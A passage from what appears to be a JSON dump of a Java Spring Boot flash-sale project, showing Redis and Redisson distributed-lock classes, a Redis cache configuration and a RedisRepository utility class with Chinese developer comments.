默认10秒\n    private long expires = 30L;\n\n    public DistributedExclusiveRedisLock(RedisTemplate template, Jedis jedis) {\n        this.redisTemplate = template;\n        this.jedis = jedis;\n    }\n\n    public DistributedExclusiveRedisLock(RedisTemplate template, String lockKey, Jedis jedis) {\n        this.lockKey = lockKey;\n        this.redisTemplate = template;\n        this.jedis = jedis;\n    }\n\n    /**\n     * 获取锁方法,获取不到会被阻塞\n     */\n    @SuppressWarnings(\"unchecked\")\n\t@Override\n    public void lock() {\n        if (isOccupy) {\n            throw new IllegalReentrantException(\"锁不可重入,请检查代码\");\n        }\n        isOccupy = true;\n        uuid = UUID.randomUUID().toString();\n        boolean isAcquired;\n        for (; ; ) {\n            isAcquired = (Boolean) redisTemplate.execute(new RedisCallback<Boolean>() {\n                @Override\n                public Boolean doInRedis(RedisConnection connection) throws DataAccessException {\n                    /*return connection.setNX(lockKey.getBytes(), uuid.getBytes())\n                            && connection.expire(lockKey.getBytes(), expires);*/\n                \t/**\n                \t * 更新了1.0版本中，setnx成功之后程序崩溃导致的死锁的问题\n                \t */\n                \tString result = jedis.set(lockKey, uuid, SET_IF_NOT_EXIST, SET_WITH_EXPIRE_TIME, expires);\n                \tif (LOCK_SUCCESS.equals(result)) {\n                        return true;\n                    }\n                    return false;\n                }\n            });\n            if (isAcquired)\n                return;\n        }\n    }\n\n    @Override\n    public void lockInterruptibly() throws InterruptedException {\n\n    }\n\n    @Override\n    public boolean tryLock() {\n        return false;\n    }\n\n    /**\n     * 尝试获取锁,支持超时中断 (暂未实现)\n     *\n     * @param time\n     * @param unit\n     * @return\n     * @throws InterruptedException\n     */\n    @Override\n    public boolean tryLock(long time, TimeUnit unit) throws InterruptedException {\n        return false;\n    }\n\n    /**\n     * 解锁并释放资源\n     * <p>\n     * 超时后的资源被释放掉,避免误删,这里务必校验uuid\n     */\n\t@Override\n    public void unlock() {\n    \tif (!isOccupy)\n            return;\n        String script = \"if redis.call('get', KEYS[1]) == ARGV[1] then return redis.call('del', KEYS[1]) else return 0 end\";\n        Object result = jedis.eval(script, Collections.singletonList(lockKey), Collections.singletonList(uuid));\n\n        if (RELEASE_SUCCESS.equals(result)) {\n        \tisOccupy = false;\n        }\n    }\n\n    @Override\n    public Condition newCondition() {\n        return null;\n    }\n\n    public long getExpires() {\n        return expires;\n    }\n\n    public void setExpires(long expires) {\n        this.expires = expires;\n    }\n\n    public String getLockKey() {\n        return lockKey;\n    }\n\n    public void setLockKey(String lockKey) {\n        this.lockKey = lockKey;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/redis/lock/RedissonDistributedLocker.java",
    "content": "package com.jun.plugin.seckill.redis.lock;\n\nimport java.util.concurrent.TimeUnit;\n\nimport org.redisson.api.RLock;\nimport org.redisson.api.RedissonClient;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Component;\n\n/**\n * 基于Redisson的分布式锁实现\n * @author Wujun\n * @date 2019年1月23日 下午4:04:57\n *\n */\n@Component\npublic class RedissonDistributedLocker {\n\t\n\t@Autowired\n\tprivate RedissonClient redissonClient;\n\t\n\n\t/**\n\t * 加锁\n\t * \n\t * 假如线程A和线程B使用同一个锁LOCK，此时线程A首先获取到锁LOCK.lock()，并且始终持有不释放。如果此时B要去获取锁\n\t * 在等待获取锁的过程中休眠并禁止一切线程调度，直到获取到锁；\n\t * @param lockKey\n\t * @return\n\t */\n\tpublic RLock lock(String lockKey) {\n\t\tRLock lock = redissonClient.getLock(lockKey);\n\t\tlock.lock();\n\t\treturn lock;\n\t}\n\t\n\t/**\n\t * 加锁，过期自动释放\n\t * \n\t * 假如线程A和线程B使用同一个锁LOCK，此时线程A首先获取到锁LOCK.lock()，并且始终持有不释放。如果此时B要去获取锁\n\t * 在等待获取锁的过程中休眠并禁止一切线程调度，直到获取到锁；\n\t * 如果已经获取到锁，则一直会持有锁直到调用unlock方法，或者直到leaseTime的时间到了\n\t * @param lockKey\n\t * @param leaseTime\t自动释放锁时间\n\t * @return\n\t */\n\tpublic RLock lock(String lockKey, long leaseTime) {\n\t\tRLock lock = redissonClient.getLock(lockKey);\n\t\tlock.lock(leaseTime, TimeUnit.SECONDS);\n\t\treturn lock;\n\t}\n\t\n\t/**\n\t * 加锁，过期自动释放，时间单位传入\n\t * \n\t * 假如线程A和线程B使用同一个锁LOCK，此时线程A首先获取到锁LOCK.lock()，并且始终持有不释放。如果此时B要去获取锁\n\t * 在等待获取锁的过程中休眠并禁止一切线程调度，直到获取到锁；\n\t * 如果已经获取到锁，则一直会持有锁直到调用unlock方法，或者直到leaseTime的时间到了\n\t * @param lockKey\n\t * @param unit\t\t时间单位\n\t * @param leaseTime\t上锁后自动释放时间\n\t * @return\n\t */\n\tpublic RLock lock(String lockKey, TimeUnit unit, long leaseTime) {\n\t\tRLock lock = redissonClient.getLock(lockKey);\n\t\tlock.lock(leaseTime, unit);\n\t\treturn lock;\n\t}\n\t\n\t/**\n\t * 尝试获取锁\n\t * \n\t * 假如线程A和线程B使用同一个锁LOCK，此时线程A首先获取到锁LOCK.lock()，并且始终持有不释放。如果此时B要去获取锁\n\t * 该获取锁的方法不会等待，如果获取到锁则返回true，获取不到锁并直接返回false，去执行下面的；\n\t * 如果获取到锁，则会一直持有锁直到调用unlock方法，或者leaseTime时间到\n\t * 但当调用B.interrupt()会被中断等待，并抛出InterruptedException。\n\t * \n\t * @param lockKey\n\t * @param unit\t\t时间单位\n\t * @param waitTime\t最多等待时间\n\t * @param leaseTime\t上锁后自动释放时间\n\t * @return\n\t */\n\tpublic boolean tryLock(String lockKey, TimeUnit unit, long waitTime, long leaseTime) {\n\t\tRLock lock = redissonClient.getLock(lockKey);\n\t\ttry {\n            return lock.tryLock(waitTime, leaseTime, unit);\n        } catch (InterruptedException e) {\n            return false;\n        }\n\t}\n\t\n\t/**\n\t * 尝试获取锁\n\t * \n\t * 假如线程A和线程B使用同一个锁LOCK，此时线程A首先获取到锁LOCK.lock()，并且始终持有不释放。如果此时B要去获取锁\n\t * 该获取锁的方法不会等待，如果获取到锁则返回true，获取不到锁并直接返回false，去执行下面的；\n\t * 如果获取到锁，则会一直持有锁直到调用unlock方法，或者leaseTime时间到\n\t * 但当调用B.interrupt()会被中断等待，并抛出InterruptedException。\n\t * \n\t * @param lockKey\n\t * @param waitTime\t最多等待时间\n\t * @param leaseTime\t上锁后自动释放锁时间\n\t * @return\n\t */\n\tpublic boolean tryLock(String lockKey, long waitTime, long leaseTime) {\n\t\tRLock lock = redissonClient.getLock(lockKey);\n\t\ttry {\n            return lock.tryLock(waitTime, leaseTime, TimeUnit.SECONDS);\n        } catch (InterruptedException e) {\n            return false;\n        }\n\t}\n\t\n\t/**\n\t * 释放锁\n\t * @param lockKey\n\t */\n\tpublic void unlock(String lockKey) {\n\t\tRLock lock = redissonClient.getLock(lockKey);\n\t\tlock.unlock();\n\t}\n\t\n\t/**\n\t * 释放锁\n\t * @param lock\n\t */\n\tpublic void unlock(RLock lock) {\n\t\tlock.unlock();\n\t}\n\t\n\t/**\n\t * 检查此锁是否被任何线程锁定\n\t * @param lockKey\n\t * @return\n\t */\n\tpublic boolean isLocked(String lockKey) {\n\t\tRLock lock = redissonClient.getLock(lockKey);\n\t\treturn lock.isLocked();\n\t}\n\t\n\t/**\n\t * 获取锁，可被中断\n\t * \n\t * 假如线程A和线程B使用同一个锁LOCK，此时线程A首先获取到锁LOCK.lock()，并且始终持有不释放。如果此时B要去获取锁\n\t * 此方式会等待，但当调用B.interrupt()会被中断等待，并抛出InterruptedException异常，否则会与lock()一样始终处于等待中，直到线程A释放锁。\n\t * @param lockKey\n\t * @param leaseTime\n\t * @param unit\n\t * @return\n\t * @throws InterruptedException \n\t */\n\tpublic RLock lockInterruptibly(String lockKey, long leaseTime, TimeUnit unit) throws InterruptedException {\n\t\tRLock lock = redissonClient.getLock(lockKey);\n\t\tlock.lockInterruptibly(leaseTime, unit);\n\t\treturn lock;\n\t}\n\t\n\t/**\n\t * 获取锁，可被中断\n\t * \n\t * 假如线程A和线程B使用同一个锁LOCK，此时线程A首先获取到锁LOCK.lock()，并且始终持有不释放。如果此时B要去获取锁\n\t * 此方式会等待，但当调用B.interrupt()会被中断等待，并抛出InterruptedException异常，否则会与lock()一样始终处于等待中，直到线程A释放锁。\n\t * @param lockKey\n\t * @param leaseTime\n\t * @return\n\t * @throws InterruptedException \n\t */\n\tpublic RLock lockInterruptibly(String lockKey, long leaseTime) throws InterruptedException {\n\t\tRLock lock = redissonClient.getLock(lockKey);\n\t\tlock.lockInterruptibly(leaseTime, TimeUnit.SECONDS);\n\t\treturn lock;\n\t}\n\t\n\t\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/redis/repository/RedisCacheConfig.java",
    "content": "package com.jun.plugin.seckill.redis.repository;\n\nimport org.springframework.cache.CacheManager;\nimport org.springframework.cache.annotation.EnableCaching;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.data.redis.cache.RedisCacheManager;\nimport org.springframework.data.redis.connection.RedisConnectionFactory;\nimport org.springframework.data.redis.core.RedisTemplate;\nimport org.springframework.data.redis.serializer.RedisSerializer;\nimport org.springframework.data.redis.serializer.StringRedisSerializer;\n\n@Configuration\n@EnableCaching\npublic class RedisCacheConfig {\n\t\n    @Bean\n    public CacheManager cacheManager(RedisTemplate<?, ?> redisTemplate){\n        CacheManager cacheManager = new RedisCacheManager(redisTemplate);\n        return cacheManager;\n    }\n    @Bean\n    public RedisTemplate<String, String> redisTemplate(RedisConnectionFactory factory){\n        RedisTemplate<String, String> redisTemplate = new RedisTemplate<String,String>();\n        redisTemplate.setConnectionFactory(factory);\n        // key序列化方式;（不然会出现乱码;）,但是如果方法上有Long等非String类型的话，会报类型转换错误；\n        // 所以在没有自己定义key生成策略的时候，以下这个代码建议不要这么写，可以不配置或者自己实现ObjectRedisSerializer\n        // 或者JdkSerializationRedisSerializer序列化方式;\n        RedisSerializer<String> redisSerializer = new StringRedisSerializer();// Long类型不可以会出现异常信息;\n        redisTemplate.setKeySerializer(redisSerializer);\n        redisTemplate.setHashKeySerializer(redisSerializer);\n        return redisTemplate;\n    }\n    \n    @Bean\n    public RedisRepository redisRepository(RedisTemplate<String, String> redisTemplate){\n    \treturn new RedisRepository(redisTemplate);\n    }\n    \n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/redis/repository/RedisRepository.java",
    "content": "package com.jun.plugin.seckill.redis.repository;\n\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.data.redis.connection.RedisServerCommands;\nimport org.springframework.data.redis.connection.jedis.JedisConnectionFactory;\nimport org.springframework.data.redis.core.HashOperations;\nimport org.springframework.data.redis.core.ListOperations;\nimport org.springframework.data.redis.core.RedisCallback;\nimport org.springframework.data.redis.core.RedisTemplate;\nimport org.springframework.data.redis.serializer.RedisSerializer;\nimport org.springframework.data.redis.support.atomic.RedisAtomicLong;\n\nimport java.nio.charset.Charset;\nimport java.util.*;\n\n/**\n * Redis Repository\n *\n * @author Wujun\n */\npublic class RedisRepository {\n\n    /**\n     * Logger\n     */\n    private static final Logger LOGGER = LoggerFactory.getLogger(RedisRepository.class);\n\n    /**\n     * 默认编码\n     */\n    private static final Charset DEFAULT_CHARSET = Charset.forName(\"UTF-8\");\n\n    /**\n     * Spring Redis Template\n     */\n    private RedisTemplate<String, String> redisTemplate;\n\n    @Autowired\n    private JedisConnectionFactory jedisConnectionFactory;\n\n    public RedisRepository(RedisTemplate<String, String> redisTemplate) {\n        this.redisTemplate = redisTemplate;\n    }\n\n    /**\n     * 添加到带有 过期时间的  缓存\n     *\n     * @param key   redis主键\n     * @param value 值\n     * @param time  过期时间\n     */\n    public void setExpire(final byte[] key, final byte[] value, final long time) {\n        redisTemplate.execute((RedisCallback<Long>) connection -> {\n            connection.set(key, value);\n            connection.expire(key, time);\n            LOGGER.info(\"[redisTemplate redis]放入 缓存  url:{} ========缓存时间为{}秒\", key, time);\n            return 1L;\n        });\n    }\n\n    /**\n     * 添加到带有 过期时间的  缓存\n     *\n     * @param key   redis主键\n     * @param value 值\n     * @param time  过期时间\n     */\n    public void setExpire(final String key, final String value, final long time) {\n        redisTemplate.execute((RedisCallback<Long>) connection -> {\n            RedisSerializer<String> serializer = getRedisSerializer();\n            byte[] keys = serializer.serialize(key);\n            byte[] values = serializer.serialize(value);\n            connection.set(keys, values);\n            connection.expire(keys, time);\n            LOGGER.info(\"[redisTemplate redis]放入 缓存  url:{} ========缓存时间为{}秒\", key, time);\n            return 1L;\n        });\n    }\n\n    /**\n     * 一次性添加数组到   过期时间的  缓存，不用多次连接，节省开销\n     *\n     * @param keys   redis主键数组\n     * @param values 值数组\n     * @param time   过期时间\n     */\n    public void setExpire(final String[] keys, final String[] values, final long time) {\n        redisTemplate.execute((RedisCallback<Long>) connection -> {\n            RedisSerializer<String> serializer = getRedisSerializer();\n            for (int i = 0; i < keys.length; i++) {\n                byte[] bKeys = serializer.serialize(keys[i]);\n                byte[] bValues = serializer.serialize(values[i]);\n                connection.set(bKeys, bValues);\n                connection.expire(bKeys, time);\n                LOGGER.info(\"[redisTemplate redis]放入 缓存  url:{} ========缓存时间为:{}秒\", keys[i], time);\n            }\n            return 1L;\n        });\n    }\n\n\n    /**\n     * 一次性添加数组到   过期时间的  缓存，不用多次连接，节省开销\n     *\n     * @param keys   the keys\n     * @param values the values\n     */\n    public void set(final String[] keys, final String[] values) {\n        redisTemplate.execute((RedisCallback<Long>) connection -> {\n            RedisSerializer<String> serializer = getRedisSerializer();\n            for (int i = 0; i < keys.length; i++) {\n                byte[] bKeys = serializer.serialize(keys[i]);\n                byte[] bValues = serializer.serialize(values[i]);\n                connection.set(bKeys, bValues);\n                LOGGER.info(\"[redisTemplate redis]放入 缓存  url:{}\", keys[i]);\n            }\n            return 1L;\n        });\n    }\n\n\n    /**\n     * 添加到缓存\n     *\n     * @param key   the key\n     * @param value the value\n     */\n    public void set(final String key, final String value) {\n        redisTemplate.execute((RedisCallback<Long>) connection -> {\n            RedisSerializer<String> serializer = getRedisSerializer();\n            byte[] keys = serializer.serialize(key);\n            byte[] values = serializer.serialize(value);\n            connection.set(keys, values);\n            LOGGER.info(\"[redisTemplate redis]放入 缓存  url:{}\", key);\n            return 1L;\n        });\n    }\n\n    /**\n     * 查询在这个时间段内即将过期的key\n     *\n     * @param key  the key\n     * @param time the time\n     * @return the list\n     */\n    public List<String> willExpire(final String key, final long time) {\n        final List<String> keysList = new ArrayList<>();\n        redisTemplate.execute((RedisCallback<List<String>>) connection -> {\n            Set<String> keys = redisTemplate.keys(key + \"*\");\n            for (String key1 : keys) {\n                Long ttl = connection.ttl(key1.getBytes(DEFAULT_CHARSET));\n                if (0 <= ttl && ttl <= 2 * time) {\n                    keysList.add(key1);\n                }\n            }\n            return keysList;\n        });\n        return keysList;\n    }\n\n\n    /**\n     * 查询在以keyPatten的所有  key\n     *\n     * @param keyPatten the key patten\n     * @return the set\n     */\n    public Set<String> keys(final String keyPatten) {\n        return redisTemplate.execute((RedisCallback<Set<String>>) connection -> redisTemplate.keys(keyPatten + \"*\"));\n    }\n\n    /**\n     * 根据key获取对象\n     *\n     * @param key the key\n     * @return the byte [ ]\n     */\n    public byte[] get(final byte[] key) {\n        byte[] result = redisTemplate.execute((RedisCallback<byte[]>) connection -> connection.get(key));\n       // LOGGER.info(\"[redisTemplate redis]取出 缓存  url:{} \", key);\n        return result;\n    }\n\n    /**\n     * 根据key获取对象\n     *\n     * @param key the key\n     * @return the string\n     */\n    public String get(final String key) {\n        String resultStr = redisTemplate.execute((RedisCallback<String>) connection -> {\n            RedisSerializer<String> serializer = getRedisSerializer();\n            byte[] keys = serializer.serialize(key);\n            byte[] values = connection.get(keys);\n            return serializer.deserialize(values);\n        });\n       // LOGGER.info(\"[redisTemplate redis]取出 缓存  url:{} \", key);\n        return resultStr;\n    }\n\n\n    /**\n     * 根据key获取对象\n     *\n     * @param keyPatten the key patten\n     * @return the keys values\n     */\n    public Map<String, String> getKeysValues(final String keyPatten) {\n        LOGGER.info(\"[redisTemplate redis]  getValues()  patten={} \", keyPatten);\n        return redisTemplate.execute((RedisCallback<Map<String, String>>) connection -> {\n            RedisSerializer<String> serializer = getRedisSerializer();\n            Map<String, String> maps = new HashMap<>();\n            Set<String> keys = redisTemplate.keys(keyPatten + \"*\");\n            for (String key : keys) {\n                byte[] bKeys = serializer.serialize(key);\n                byte[] bValues = connection.get(bKeys);\n                String value = serializer.deserialize(bValues);\n                maps.put(key, value);\n            }\n            return maps;\n        });\n    }\n\n    /**\n     * Ops for hash hash operations.\n     *\n     * @return the hash operations\n     */\n    public HashOperations<String, String, String> opsForHash() {\n        return redisTemplate.opsForHash();\n    }\n\n    /**\n     * 对HashMap操作\n     *\n     * @param key       the key\n     * @param hashKey   the hash key\n     * @param hashValue the hash value\n     */\n    public void putHashValue(String key, String hashKey, String hashValue) {\n        LOGGER.info(\"[redisTemplate redis]  putHashValue()  key={},hashKey={},hashValue={} \", key, hashKey, hashValue);\n        opsForHash().put(key, hashKey, hashValue);\n    }\n\n    /**\n     * 获取单个field对应的值\n     *\n     * @param key     the key\n     * @param hashKey the hash key\n     * @return the hash values\n     */\n    public Object getHashValues(String key, String hashKey) {\n        LOGGER.info(\"[redisTemplate redis]  getHashValues()  key={},hashKey={}\", key, hashKey);\n        return opsForHash().get(key, hashKey);\n    }\n\n    /**\n     * 根据key值删除\n     *\n     * @param key      the key\n     * @param hashKeys the hash keys\n     */\n    public void delHashValues(String key, Object... hashKeys) {\n        LOGGER.info(\"[redisTemplate redis]  delHashValues()  key={}\", key);\n        opsForHash().delete(key, hashKeys);\n    }\n\n    /**\n     * key只匹配map\n     *\n     * @param key the key\n     * @return the hash value\n     */\n    public Map<String, String> getHashValue(String key) {\n        LOGGER.info(\"[redisTemplate redis]  getHashValue()  key={}\", key);\n        return opsForHash().entries(key);\n    }\n\n    /**\n     * 批量添加\n     *\n     * @param key the key\n     * @param map the map\n     */\n    public void putHashValues(String key, Map<String, String> map) {\n        opsForHash().putAll(key, map);\n    }\n\n    /**\n     * 集合数量\n     *\n     * @return the long\n     */\n    public long dbSize() {\n        return redisTemplate.execute(RedisServerCommands::dbSize);\n    }\n\n    /**\n     * 清空redis存储的数据\n     *\n     * @return the string\n     */\n    public String flushDB() {\n        return redisTemplate.execute((RedisCallback<String>) connection -> {\n            connection.flushDb();\n            return \"ok\";\n        });\n    }\n\n    /**\n     * 判断某个主键是否存在\n     *\n     * @param key the key\n     * @return the boolean\n     */\n    public boolean exists(final String key) {\n        return redisTemplate.execute((RedisCallback<Boolean>) connection -> connection.exists(key.getBytes(DEFAULT_CHARSET)));\n    }\n\n\n    /**\n     * 删除key\n     *\n     * @param keys the keys\n     * @return the long\n     */\n    public long del(final String... keys) {\n        return redisTemplate.execute((RedisCallback<Long>) connection -> {\n            long result = 0;\n            for (String key : keys) {\n                result = connection.del(key.getBytes(DEFAULT_CHARSET));\n            }\n            return result;\n        });\n    }\n\n    /**\n     * 获取 RedisSerializer\n     *\n     * @return the redis serializer\n     */\n    protected RedisSerializer<String> getRedisSerializer() {\n        return redisTemplate.getStringSerializer();\n    }\n\n    /**\n     * 对某个主键对应的值加一,value值必须是全数字的字符串\n     *\n     * @param key the key\n     * @return the long\n     */\n    public long incr(final String key) {\n        return redisTemplate.execute((RedisCallback<Long>) connection -> {\n            RedisSerializer<String> redisSerializer = getRedisSerializer();\n            return connection.incr(redisSerializer.serialize(key));\n        });\n    }\n    \n    /**\n     * 对某个主键对应的值减一，value值必须是全数字的字符串\n     * <p>Title: decr</p>  \n     * <p>Description: </p>  \n     * @param key\n     * @return\n     */\n    public long decr(final String key) {\n    \treturn redisTemplate.execute((RedisCallback<Long>) connection -> {\n            RedisSerializer<String> redisSerializer = getRedisSerializer();\n            return connection.decr(redisSerializer.serialize(key));\n        });\n    }\n    \n    /**\n     * 自增指定的长度\n     * @param key\n     * @param increment\n     * @return\n     */\n    public long incrBy(final String key, long increment) {\n    \treturn redisTemplate.execute((RedisCallback<Long>) connection -> {\n            RedisSerializer<String> redisSerializer = getRedisSerializer();\n            return connection.incrBy(redisSerializer.serialize(key), increment);\n        });\n    }\n    \n    /**\n     * 自减指定的长度\n     * @param key\n     * @param decrement\n     * @return\n     */\n    public long decrBy(final String key, long decrement) {\n    \treturn redisTemplate.execute((RedisCallback<Long>) connection -> {\n            RedisSerializer<String> redisSerializer = getRedisSerializer();\n            return connection.decrBy(redisSerializer.serialize(key), decrement);\n        });\n    }\n\n    /**\n     * redis List 引擎\n     *\n     * @return the list operations\n     */\n    public ListOperations<String, String> opsForList() {\n        return redisTemplate.opsForList();\n    }\n\n    /**\n     * redis List数据结构 : 将一个或多个值 value 插入到列表 key 的表头\n     *\n     * @param key   the key\n     * @param value the value\n     * @return the long\n     */\n    public Long leftPush(String key, String value) {\n        return opsForList().leftPush(key, value);\n    }\n\n    /**\n     * redis List数据结构 : 移除并返回列表 key 的头元素\n     *\n     * @param key the key\n     * @return the string\n     */\n    public String leftPop(String key) {\n        return opsForList().leftPop(key);\n    }\n\n    /**\n     * redis List数据结构 :将一个或多个值 value 插入到列表 key 的表尾(最右边)。\n     *\n     * @param key   the key\n     * @param value the value\n     * @return the long\n     */\n    public Long in(String key, String value) {\n        return opsForList().rightPush(key, value);\n    }\n\n    /**\n     * redis List数据结构 : 移除并返回列表 key 的末尾元素\n     *\n     * @param key the key\n     * @return the string\n     */\n    public String rightPop(String key) {\n        return opsForList().rightPop(key);\n    }\n\n\n    /**\n     * redis List数据结构 : 返回列表 key 的长度 ; 如果 key 不存在，则 key 被解释为一个空列表，返回 0 ; 如果 key 不是列表类型，返回一个错误。\n     *\n     * @param key the key\n     * @return the long\n     */\n    public Long length(String key) {\n        return opsForList().size(key);\n    }\n\n\n    /**\n     * redis List数据结构 : 根据参数 i 的值，移除列表中与参数 value 相等的元素\n     *\n     * @param key   the key\n     * @param i     the\n     * @param value the value\n     */\n    public void remove(String key, long i, String value) {\n        opsForList().remove(key, i, value);\n    }\n\n    /**\n     * redis List数据结构 : 将列表 key 下标为 index 的元素的值设置为 value\n     *\n     * @param key   the key\n     * @param index the index\n     * @param value the value\n     */\n    public void set(String key, long index, String value) {\n        opsForList().set(key, index, value);\n    }\n\n    /**\n     * redis List数据结构 : 返回列表 key 中指定区间内的元素，区间以偏移量 start 和 end 指定。\n     *\n     * @param key   the key\n     * @param start the start\n     * @param end   the end\n     * @return the list\n     */\n    public List<String> getList(String key, int start, int end) {\n        return opsForList().range(key, start, end);\n    }\n\n    /**\n     * redis List数据结构 : 批量存储\n     *\n     * @param key  the key\n     * @param list the list\n     * @return the long\n     */\n    public Long leftPushAll(String key, List<String> list) {\n        return opsForList().leftPushAll(key, list);\n    }\n\n    /**\n     * redis List数据结构 : 将值 value 插入到列表 key 当中，位于值 index 之前或之后,默认之后。\n     *\n     * @param key   the key\n     * @param index the index\n     * @param value the value\n     */\n    public void insert(String key, long index, String value) {\n        opsForList().set(key, index, value);\n    }\n\n    /**\n     * 利用redis的单线程原子自增性保证数据自增的唯一性\n     *\n     * @param key\n     * @return\n     */\n    public RedisAtomicLong getRedisAtomicLong(String key) {\n        return new RedisAtomicLong(key, jedisConnectionFactory);\n    }\n\n    /**\n     * ZINCRBY key increment member\n     *\n     * @param key\n     * @param increment\n     * @param member\n     */\n    public void doZincrby(String key, Integer increment, String member) {\n        redisTemplate.execute((RedisCallback<Double>) connection -> {\n            RedisSerializer<String> redisSerializer = getRedisSerializer();\n            return connection.zIncrBy(redisSerializer.serialize(key), increment, redisSerializer.serialize(member));\n        });\n    }\n\n    /**\n     * ZREVRANGE key start stop [WITHSCORES]\n     *\n     * @return\n     */\n    public List<String> doZrevrange(String key, Integer start, Integer end) {\n\n        List<String> stringList = new ArrayList<>();\n        RedisSerializer<String> redisSerializer = getRedisSerializer();\n        Set<byte[]> strBytes = redisTemplate.execute((RedisCallback<Set<byte[]>>) connection -> connection.zRevRange(redisSerializer.serialize(key), start, end));\n        Iterator byteIter = strBytes.iterator();\n        while (byteIter.hasNext()) {\n            stringList.add(redisSerializer.deserialize((byte[]) byteIter.next()));\n        }\n        return stringList;\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/redis/repository/RedissonAutoConfiguration.java",
    "content": "package com.jun.plugin.seckill.redis.repository;\n\nimport org.apache.commons.lang3.StringUtils;\nimport org.redisson.Redisson;\nimport org.redisson.api.RedissonClient;\nimport org.redisson.config.ClusterServersConfig;\nimport org.redisson.config.Config;\nimport org.redisson.config.SentinelServersConfig;\nimport org.redisson.config.SingleServerConfig;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnClass;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * redisson装配各种模式\n * @author Wujun\n * @date 2019年1月23日 下午3:14:07\n *\n */\n@Configuration\n@ConditionalOnClass(Config.class)\npublic class RedissonAutoConfiguration {\n\t\n\t@Autowired\n    private RedissonProperties redssionProperties;\n\t\n\t/**\n     * 哨兵模式自动装配\n     * @return\n     */\n    @Bean\n    @ConditionalOnProperty(name=\"spring.redis.master-name\")\n    RedissonClient redissonSentinel() {\n    \tString[] nodes = redssionProperties.getSentinelAddresses();\n    \tfor(int i=0;i<nodes.length;i++) {\n    \t\tnodes[i] = \"redis://\"+nodes[i];\n    \t}\n        Config config = new Config();\n        SentinelServersConfig serverConfig = config.useSentinelServers()\n        \t\t.addSentinelAddress(nodes)\n                .setMasterName(redssionProperties.getMasterName())\n                .setTimeout(redssionProperties.getTimeout())\n                .setMasterConnectionPoolSize(redssionProperties.getMasterConnectionPoolSize())\n                .setSlaveConnectionPoolSize(redssionProperties.getSlaveConnectionPoolSize());\n        if(StringUtils.isNotBlank(redssionProperties.getPassword())) {\n            serverConfig.setPassword(redssionProperties.getPassword());\n        }\n        return Redisson.create(config);\n    }\n\n    /**\n     * 单机模式自动装配\n     * @return\n     */\n    @Bean\n    @ConditionalOnProperty(name=\"spring.redis.host\")\n    RedissonClient redissonSingle() {\n        Config config = new Config();\n        SingleServerConfig serverConfig = config.useSingleServer()\n                .setAddress(\"redis://\" + redssionProperties.getHost() + \":\" + redssionProperties.getPort())\n                .setTimeout(redssionProperties.getTimeout())\n                .setConnectionPoolSize(redssionProperties.getConnectionPoolSize())\n                .setConnectionMinimumIdleSize(redssionProperties.getConnectionMinimumIdleSize());\n        if(StringUtils.isNotBlank(redssionProperties.getPassword())) {\n            serverConfig.setPassword(redssionProperties.getPassword());\n        }\n        return Redisson.create(config);\n    }\n    \n    /**\n     * 集群装配模式\n     * @return\n     */\n    @Bean\n    @ConditionalOnProperty(name=\"spring.redis.cluster.nodes\")\n    RedissonClient redissonCluster() {\n    \tString[] nodes = redssionProperties.getCluster().get(\"nodes\").split(\",\");\n    \tfor(int i=0;i<nodes.length;i++) {\n    \t\tnodes[i] = \"redis://\"+nodes[i];\n    \t}\n    \tConfig config = new Config();\n    \tClusterServersConfig serverConfig = config.useClusterServers()\n    \t\t\t.setScanInterval(2000)\n    \t\t\t.addNodeAddress(nodes)\n    \t\t\t.setTimeout(redssionProperties.getTimeout())\n    \t\t\t.setMasterConnectionPoolSize(redssionProperties.getMasterConnectionPoolSize())\n                .setSlaveConnectionPoolSize(redssionProperties.getSlaveConnectionPoolSize())\n                .setPassword(redssionProperties.getPassword());\n    \tif(StringUtils.isNotBlank(redssionProperties.getPassword())) {\n            serverConfig.setPassword(redssionProperties.getPassword());\n        }\n        return Redisson.create(config);\n    }\n    \n    \n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_distributed_seckill/src/main/java/com/jun/plugin/seckill/redis/repository/RedissonProperties.java",
    "content": "package com.jun.plugin.seckill.redis.repository;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * redisson配置类\n * @author Wujun\n * @date 2019年1月23日 下午3:01:39\n *\n */\n/**\n * @author Wujun\n * @date 2019年1月24日 上午11:33:48\n * \n */\n@Configuration\n@ConfigurationProperties(prefix=\"spring.redis\")\npublic class RedissonProperties {\n\t\n\tprivate int timeout;\n\n    private String host;\n    \n    private String port;\n\n    private String password;\n    \n    private int database = 0;\n\n    private int connectionPoolSize = 64;\n    \n    private int connectionMinimumIdleSize=10;\n\n    private int slaveConnectionPoolSize = 250;\n\n    private int masterConnectionPoolSize = 250;\n\n    private String[] sentinelAddresses;\n\n    private String masterName;\n    \n    private Map<String, String> cluster = new HashMap<>();\n\n\tpublic int getTimeout() {\n\t\treturn timeout;\n\t}\n\n\tpublic void setTimeout(int timeout) {\n\t\tthis.timeout = timeout;\n\t}\n\n\tpublic String getHost() {\n\t\treturn host;\n\t}\n\n\tpublic void setHost(String host) {\n\t\tthis.host = host;\n\t}\n\n\tpublic String getPort() {\n\t\treturn port;\n\t}\n\n\tpublic void setPort(String port) {\n\t\tthis.port = port;\n\t}\n\n\tpublic String getPassword() {\n\t\treturn password;\n\t}\n\n\tpublic void setPassword(String password) {\n\t\tthis.password = password;\n\t}\n\n\tpublic int getDatabase() {\n\t\treturn database;\n\t}\n\n\tpublic void setDatabase(int database) {\n\t\tthis.database = database;\n\t}\n\n\tpublic int 